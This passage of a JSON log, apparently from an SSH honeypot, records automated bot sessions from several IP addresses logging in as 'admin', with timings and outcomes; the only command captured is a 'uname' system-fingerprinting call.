  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:38:38.681163+00:00",
  "ended_at": "2026-08-26T06:38:44.235115+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0242f805-a9ac-4ac1-a4af-9428377e5ef9",
  "name": "polar-cobalt-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 57378,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 230,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:32:54.438404+00:00",
  "ended_at": "2026-08-26T06:32:59.208800+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "35e1b886-73df-47e7-a7a6-fa13e919f04c",
  "name": "feathered-emerald-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58350,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:30:05.354921+00:00",
  "ended_at": "2026-08-26T06:30:09.092168+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "717fcc33-227b-48d5-93d5-b5d85eff8d12",
  "name": "lucid-murky-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38320,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:29:03.951186+00:00",
  "ended_at": "2026-08-26T06:29:09.731714+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "223002b8-6241-4583-85ef-4babe7fe9b72",
  "name": "bold-burly-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 53558,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 228,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:25:17.341109+00:00",
  "ended_at": "2026-08-26T06:25:23.339721+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7c0913be-aafb-4d75-8fc5-978c7e114b5c",
  "name": "amber-diligent-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 54162,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:21:49.999347+00:00",
  "ended_at": "2026-08-26T06:21:50.438441+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2501a269-1d23-4dbf-8fa9-1baf552a69d2",
  "name": "clever-marine-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 51282,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:19:09.334761+00:00",
  "ended_at": "2026-08-26T06:19:15.202158+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d5b1148a-9637-4b11-a65a-d0c7428faab7",
  "name": "smooth-gentle-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43786,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:15:15.737315+00:00",
  "ended_at": "2026-08-26T06:15:16.640427+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "73a432ed-7480-4f3e-b9c7-c7bc70e4d5b8",
  "name": "distant-blazing-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 53528,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:10:01.838753+00:00",
  "ended_at": "2026-08-26T06:10:07.900271+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "aa4f9424-7b60-46da-9d92-82acd35079d5",
  "name": "courtly-brazen-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58978,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 230,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:06:46.814185+00:00",
  "ended_at": "2026-08-26T06:06:52.701726+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7c074954-7e46-4c0e-969a-3f99e3ee4258",
  "name": "eager-merry-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.110",
  "src_port": 26062,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:06:28.947243+00:00",
  "ended_at": "2026-08-26T06:06:29.451536+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8ea56de-6886-4915-b707-ee791c7e1bd4",
  "name": "buoyant-keen-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 53898,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:01:38.169168+00:00",
  "ended_at": "2026-08-26T06:01:42.702114+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "671f2f57-f9b7-475e-9bf3-53c875a87769",
  "name": "lively-pewter-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 44248,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:55:16.032555+00:00",
  "ended_at": "2026-08-26T05:55:19.650476+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eca55cdb-c3d7-44c3-ad30-c3365af23811",
  "name": "placid-sandy-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 49432,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:55:12.200635+00:00",
  "ended_at": "2026-08-26T05:55:17.612026+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b55751a1-3741-4d65-89b9-0f3aa4447dab",
  "name": "frosty-supple-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 37340,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:54:04.383338+00:00",
  "ended_at": "2026-08-26T05:54:09.697762+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bee39122-7c19-4812-bc41-b3465e0340d7",
  "name": "merry-misty-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40674,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:51:00.063700+00:00",
  "ended_at": "2026-08-26T05:51:02.746695+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f1dfe927-83d9-4153-885e-83bea5fce319",
  "name": "twilight-autumn-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56762,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 258,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:50:19.119581+00:00",
  "ended_at": "2026-08-26T05:50:23.284167+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1001a9e9-1aa2-4600-bbfe-579d5a0284f4",
  "name": "quiet-silent-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 57088,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 191,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:49:15.695304+00:00",
  "ended_at": "2026-08-26T05:49:18.977210+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fb4456f2-db4c-477d-955f-e80e05d59a34",
  "name": "hearty-jolly-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 33594,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:48:52.712146+00:00",
  "ended_at": "2026-08-26T05:48:57.112709+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "64db4926-52f1-415f-9483-77c584035e63",
  "name": "gritty-wandering-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43984,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:46:32.014157+00:00",
  "ended_at": "2026-08-26T05:46:36.111454+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e1ce8f75-060c-43ee-949a-db99e0c980a4",
  "name": "glassy-barren-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 55184,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:43:40.696177+00:00",
  "ended_at": "2026-08-26T05:43:45.578952+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e1041efa-7d4b-48e1-802b-61fd60df4c98",
  "name": "honest-smooth-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40236,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 312,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:41:29.770295+00:00",
  "ended_at": "2026-08-26T05:41:34.137622+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6062aa29-8639-488a-98f5-b3e8bf2df1a5",
  "name": "wry-stoic-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 56284,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:31:58.943884+00:00",
  "ended_at": "2026-08-26T05:31:59.328375+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "225d67fb-6375-425d-a7e0-6e848e673a7a",
  "name": "knotted-cosmic-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "34.76.225.223",
  "src_port": 42922,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:28:49.301235+00:00",
  "ended_at": "2026-08-26T05:28:49.603709+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c2cf64fa-d516-4ee7-a9c4-d078c3f945d1",
  "name": "painted-wry-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.206",
  "src_port": 58976,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:14:10.857008+00:00",
  "ended_at": "2026-08-26T05:14:12.646079+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b955d3bc-96b5-4152-9caa-34f4b642faf7",
  "name": "vigilant-craggy-agouti",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 39724,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T04:19:33.496184+00:00",
  "ended_at": "2026-08-26T04:19:33.948380+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "55797640-c391-46a7-9195-4ac40bc5f955",
  "name": "burly-hardy-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 26588,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T04:00:35.709446+00:00",
  "ended_at": "2026-08-26T04:00:36.916637+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75a85526-8d3b-425f-ad52-ec55f55afac3",
  "name": "gloomy-thrifty-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.149",
  "src_port": 44150,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T03:55:50.447785+00:00",
  "ended_at": "2026-08-26T03:55:52.237910+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f6d957ec-684e-48ee-bcba-9c31c2ee6474",
  "name": "lofty-regal-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 36846,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T03:20:50.932906+00:00",
  "ended_at": "2026-08-26T03:20:51.281932+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7ffe6f21-a957-473e-8317-bf432c7de81d",
  "name": "amiable-arctic-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 36130,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T02:21:04.322930+00:00",
  "ended_at": "2026-08-26T02:21:14.049422+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8ac00e6-bae1-483f-934a-f8e7883a0005",
  "name": "faded-creaky-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 57996,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T02:18:44.135215+00:00",
  "ended_at": "2026-08-26T02:18:44.534575+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4180b976-71ba-4bbd-99bc-68323e0baaa1",
  "name": "rambling-barren-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 35082,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T01:21:03.451270+00:00",
  "ended_at": "2026-08-26T01:21:13.146456+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f6ddb4c-c0fd-46bc-8150-9ad86dbc2f14",
  "name": "vernal-diligent-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 45630,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T01:15:28.857155+00:00",
  "ended_at": "2026-08-26T01:15:29.246930+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "020faa15-ab3e-4b55-bcbd-a7b66262b48b",
  "name": "granite-placid-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 50756,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T00:21:06.725960+00:00",
  "ended_at": "2026-08-26T00:21:16.431624+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6cc27f3-7319-4661-8c30-e297bbd60285",
  "name": "verdant-lively-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 40304,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T00:14:18.145317+00:00",
  "ended_at": "2026-08-26T00:14:18.579151+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e33c1faa-3769-4b89-852f-7a14ddbb11b9",
  "name": "coastal-solemn-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 45686,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:23:34.397108+00:00",
  "ended_at": "2026-08-25T23:23:44.100692+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "60425efc-fb15-4c94-9204-7e50043659d7",
  "name": "barren-jagged-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 48580,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:18:02.378774+00:00",
  "ended_at": "2026-08-25T23:18:03.537479+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "2d2b7dae-e912-4560-81a7-610ee9c5a8ff",
  "name": "genial-leafy-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 56832,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:07:28.174556+00:00",
  "ended_at": "2026-08-25T23:07:28.505776+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0293fb81-e291-4a5e-89d1-d58bea830676",
  "name": "golden-flinty-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 50020,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T23:01:54.453092+00:00",
  "ended_at": "2026-08-25T23:01:56.122899+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "f27b182d-caf9-4bef-8682-de9a16dbd7ae",
  "name": "steady-brazen-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 55560,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 452,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:59:12.156932+00:00",
  "ended_at": "2026-08-25T22:59:14.500413+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "e95df60c-0e8a-45df-baa3-4708346b5f5e",
  "name": "lanky-placid-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 35044,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:50:11.633545+00:00",
  "ended_at": "2026-08-25T22:50:13.779053+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 617
 },
 {
  "id": "41c51f59-4c2c-45df-9e98-d40fe105fcb6",
  "name": "daring-stormy-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "104.43.56.65",
  "src_port": 50452,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T22:28:20.884827+00:00",
  "ended_at": "2026-08-25T22:28:22.426400+00:00",
  "ended_reason": "exec complete",
  "commands": 10,
  "transcript_bytes": 1353
 },
 {
  "id": "216767dc-a18d-4390-8459-c49e15662150",
  "name": "airy-honest-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "104.43.56.65",
  "src_port": 48460,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T22:27:49.974436+00:00",
  "ended_at": "2026-08-25T22:28:22.427695+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8ffdede6-da3d-474f-b9ce-caddda2c589d",
  "name": "nameless-rapid-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 10048,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T22:25:51.044780+00:00",
  "ended_at": "2026-08-25T22:25:51.645014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5f6c315-2d57-4801-8729-c7f7d9d86c2a",
  "name": "jaunty-marine-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 57436,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T22:06:14.451932+00:00",
  "ended_at": "2026-08-25T22:06:14.885933+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "434f8301-d4cf-4626-9f85-a303d6028ce4",
  "name": "thawing-pleasant-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 49086,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T21:28:13.630468+00:00",
  "ended_at": "2026-08-25T21:28:23.329941+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cdeb9b97-332b-44a1-ac99-e4c82dbe91cb",
  "name": "craggy-patient-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.124",
  "src_port": 49116,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T21:14:30.981267+00:00",
  "ended_at": "2026-08-25T21:14:31.485235+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c9f3e500-fa69-4e43-8ead-07c64b84d847",
  "name": "tranquil-hazel-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "85.11.167.239",
  "src_port": 27894,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T21:11:40.591549+00:00",
  "ended_at": "2026-08-25T21:11:41.040885+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d684c65e-4576-41fc-bfe3-bf4ad58655bb",
  "name": "sullen-shaded-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 51278,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T21:08:46.341234+00:00",
  "ended_at": "2026-08-25T21:08:46.797187+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f0fa9c7c-1515-432b-ba6c-6fef23021a11",
  "name": "crystal-fleeting-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 42646,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T20:26:55.462686+00:00",
  "ended_at": "2026-08-25T20:27:05.177041+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3c485a75-76cb-48ea-8789-5756a17b7222",
  "name": "stoic-blithe-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 42640,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T20:03:51.696203+00:00",
  "ended_at": "2026-08-25T20:03:52.183336+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "400e355e-3d22-4db5-acab-ca26b88fa0bd",
  "name": "earnest-honest-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "106.58.173.254",
  "src_port": 60768,
  "username": "admin",
